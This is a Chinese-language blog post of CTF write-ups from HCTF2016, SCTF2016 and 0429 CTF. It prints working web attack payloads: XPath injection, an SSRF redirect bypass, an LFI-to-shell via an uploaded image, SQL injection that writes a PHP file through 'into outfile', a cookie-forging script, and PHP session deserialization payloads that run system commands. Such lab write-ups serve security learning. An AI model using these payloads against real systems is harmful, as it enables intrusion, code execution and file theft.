记录下最近CTF题目中的相关技术,CTF比赛越来越多了。
HCTF2016
injection (xpath injection)
xpath
注入题目,源码之后得到是这样的:
1 | if(file_exists('t3stt3st.xml')) { |
xpath语法:http://www.w3school.com.cn/xpath/xpath_syntax.asp
xpath注入:http://blog.csdn.net/yefan2222/article/details/7227932 关键在于:
1 | |符号相当于sqli中的union注入。 |
于是有了以下payload,显示出所有的节点:
1 | ?user=']|//*|//*[' |
可以看做执行了以下查询,即可注入成功:
1 | user/username[@name=' ']|//*|//*[' ']" |
Hack my net (SSRF)
根据题目可能会想到去内网,测试SSRF。首先,访问得到两个信息: 想办法访问得到:http://localareanet/all.conf中的数据。
参考这篇SSRF的绕过技巧:http://www.wooyun.org/bugs/wooyun-2015-099135 先测试是否可以访问指定ip:
1 | http://120.26.224.102:25045/ea57f09ea421245047b86eaba834fae1/?u=http://nohackair.net:80@121.42.175.111/test.css |
可以得到css文件: 且有访问记录:
1 | 120.26.224.102:63861 [200]: /test.css |
这时,使用php进行代理转发,试试。
编写php进行转发请求
这是关键思路,因为如果Content-Type不是text/css,会报501错误。测试可以:
1 | php -S 0.0.0.0:8080 |
访问:?u=http://nohackair.net:80@121.42.175.111:8080/1.php
,然后进行内网访问。于是修改为:
1 | header('Content-Type:text/css;Location:http://localareanet/all.conf'); |
成功获取信息:
SCTF2016
Homework
- 存在LFI
- 存在文件上传点,但是经过了
imagecreatefrom***
函数重写图片文件。
但是gif图片处理后,有的部分是不变的。
http://www.freebuf.com/articles/web/54086.html 于是可以上传图片,然后包含图片即可作为shell。
- 有个坑:
flag不在db中,可以读取文件源码。
服务器禁用掉了phpinfo等大量函数。遍历目录最终找到了php的glob
函数。payload如下:
1 | http://homework.sctf.xctf.org.cn/homework.php?homework=upload/673522368.gif |
总结:
- 处理过后的图片,会有部分没有改变的部分。
- LFI 包含 图片,形成一个shell
- shell限制了太多功能,最后找到glob函数进行遍历目录。。。。。。
参考链接: http://php.net/manual/en/function.glob.php
http://drops.wooyun.org/tips/3978 http://www.freebuf.com/articles/web/54086.html
https://www.secgeek.net/bookfresh-vulnerability/
sycshell
这题过后看了看,有些技术记录下: http://58.213.63.27:61180/
- 修改host,访问:
查看源码得到如下:
1 | <!-- 内部系统资料:http://sycshell.sycsec.com:61180/ --> |
修改hosts:
1 | 58.213.63.27 sycshell.sycsec.com |
访问: http://sycshell.sycsec.com:61180/
- jother编码解密
查看源码可以看到有jother加密的js代码,网上找工具:
1 | https://github.com/dNetGuru/JSUNFuck/releases |
解密得到:
1 | if(1==2){var tip="/W0Ca1N1CaiBuDa0/read.php?f=index";}else{alert(/No Tip/);})() |
访问:http://sycshell.sycsec.com:61180/W0Ca1N1CaiBuDa0/read.php?f=index 得到源码:
1 |
|
- 代码审计,绕过限制
绕过方法值得学习:
1 | http://sycshell.sycsec.com:61180/W0Ca1N1CaiBuDa0/read.php?f=index&&pass=%0b.1e1 |
参考链接:
1 | https://www.sco4x0.com/archives/sctf-2016.html |
查看phpinfo,发现有waf.php:
1 | http://58.213.63.27:61180/phpinfo.php |
读取waf.php 文件内容:
1 | http://sycshell.sycsec.com:61180/W0Ca1N1CaiBuDa0/read.php?f=php://filter/convert.base64-encode/resource=/home/wwwroot/waf&&pass=%0B.1e1 |
- phpinfo + lfi 上传shell
这部分之后,详细看一看,总结下。
0429 CTF
web1
- 通过cookie加密,需要破解这个加密,使uid为6.
限制:
- 注册的用户名和密码只允许三位数以上。
破解思路为: http://www.freebuf.com/news/special/56506.html 步骤:
1 | aaaaaaaaaaaaaaaa 加密后为: GL209w8nYzcGE05CFQU2kA== |
代码为:
1 | def getCookie(uid_cookie): |
全部python程序为:
1 | import requests |
运行python anheng_web1.py 0 100
得到:
1 | uid:fuyAU3Nwc2bUCp1e0Zzu1w |
web2
- 存在
order by
注入攻击漏洞
将数据库数据导入文件:
1 | http://120.27.145.45/index.php?action=view&mod=index&by=age` AS DECIMAL) desc into outfile '/var/www/html/upload/evil_my_123.php'# |
注意:
- upload目录才可写。
- 拼接payload
参考学习order by注入:
http://www.jinglingshu.org/?p=10105
http://joychou.org/index.php/web/SQL-Injections-in-MySQL-LIMIT-clause.html
web3
php session注入,参考: PHP Session 序列化及反序列化处理器设置使用不当带来的安全隐患 https://bugs.php.net/bug.php?id=71101 http://php.net/manual/zh/session.upload-progress.php 构造反序列化对象为:
1 |
|
构造的上传html文件为:
1
2
3
4
5<form action="http://120.27.156.224/phpinfo.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="ryat" />
<input type="file" name="file" />
<input type="submit" />
</form>改变其
PHP_SESSION_UPLOAD_PROGRESS
属性,如下:
注意加上
|
注入。1
|O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:10:"1234567890";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:21:"echo system('ls ./');";}}}
先提交到
phpinfo.php
,还要访问以下index.php
才能得到结果:
每次攻击,要重新生成序列化数据,因为字符串长度不一样。
1
|O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:10:"1234567890";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:23:"echo system('ls /var');";}}}
执行代码长度需要改变:
s:23:"echo system('ls /var');"
与前面测试的s:21:"echo system('ls ./');"
不一样。 21变成了23。最后payload:
|O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:10:"1234567890";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:79:"echo system('cat /var/www/html/flag_Z11O65g9uWbBUokxujdkc763h83hhZUuzoXe.php');";}}}